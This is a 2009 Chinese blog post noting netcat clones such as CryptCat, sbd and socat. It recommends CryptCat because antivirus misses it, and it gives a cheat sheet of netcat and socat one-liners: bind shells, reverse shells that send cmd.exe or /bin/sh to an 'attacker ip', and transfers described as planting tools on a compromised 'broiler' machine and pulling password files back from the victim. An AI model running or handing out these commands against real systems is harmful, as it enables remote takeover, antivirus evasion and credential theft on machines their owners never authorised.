netcat 及其姐妹工具

最喜欢netcat工具了。

一般杀毒软件会把netcat杀掉。

可以用netcat clone 工具CryptCat,支持ssh,还免杀。

查询了一下,netcat还有很多功能更强的clone工具。

http://sectools.org/netcats.html

http://gray-world.net/tools/

http://weblog.pigfoot.org/pigfoot/2006/08/20/cryptcat-netcat-encryption/

http://www.rootsecure.net/?p=downloads-win32_tools

做个笔记

sdb

http://www.cycom.se/dl/sbd

socat

http://www.dest-unreach.org/socat/

windows版本socat

http://www.nikhef.nl/~janjust/socat/

最新版本是2.0了,但是没有搜索到windows版本。

http://www.cygwin.com/下载一个cygwin,自己编译了一下。

运行的时候需要cygwin1.dll,软件就显得大了一些。

看到 http://blog.chinaunix.net/u/12592/showart_494405.html 有socat的用法,模仿了一下

#########################

on server:
c:\>socat tcp-listen:23 exec:cmd,pty,stderr

這個命名把cmd綁定到端口23,同時把cmd的Stderr重定向到stdout。

on client:
c:\>socat readline tcp:server:23

連接到服務器的23端口,即可獲得一個cmd shell。readline是gnu的命令行編輯器,具有歷史功能。

#################################

结果提示没有readline,估计是编译的时候少了点什么。

打开cygwin setup文件,果然安装库里面有readline,安装完毕后,重新./configure; make

新编译的文件就很好用了。

把各个用法测试一遍

##########################

再看文件傳遞的例子。nc也經常用來傳遞文件,但是nc有一個缺點,就是不知道文件什麼時候傳完了,一般要用Ctrl+c來終止,或者估計一個時間,用-w參數來讓他自動終止。用socat就不用這麼麻煩了:

on host 1:
c:\>socat -u open:myfile.exe,binary tcp-listen:999

on host 2:
c:\>socat -u tcp:host1:999 open:myfile.exe,create,binary

這個命令把文件myfile.exe用二進制的方式,從host 1 傳到host 2。-u 表示數據單向流動,從第一個參數到第二個參數,-U表示從第二個到第一個。文件傳完了,自動退出。

################################### 

 

 现在来跟netcat比较一些高级的用法

netcat vs SOCAT用法

 1. 反向连接
attacker machine: 
nc -vv -l -p port
socat - tcp-l:port,reuseaddr
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
socat  tcp:attacker ip:port exec:cmd,pty,stderr

2.正向连接

victim machine: //受害者的机器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
socat tcp-listen:port exec:cmd,pty,stderr
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
socat readline tcp:ip:port
 

3.传送文件

attacker machine --> victim machine  //上传命令文件到肉鸡

nc -d -l -p port < path\filedest     /*attacker machine*/ 可以shell执行
socat -u open:myfile.exe,binary tcp-listen:port
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
socat -u tcp:attacker_ip:port open:myfile.exe,create,binary #自动退出

attacker machine <-- victim machine //从肉鸡拖密码文件回来.

nc -vv -l -p port > path\file.txt      /*attacker machine*/ 可以shell执行
socat -u open:myfile.exe,create,binary tcp-listen:port
nc -d victim_ip port < path\filedest        /*victim machine*/ 需要Ctrl+C退出
socat -u tcp:attacker_ip:port open:myfile.exe,binary

上传了一些文件:
http://sites.google.com/site/socatnetcat/

 

posted on 2009-02-17 23:53  starspace  阅读(1875)  评论(0编辑  收藏  举报

导航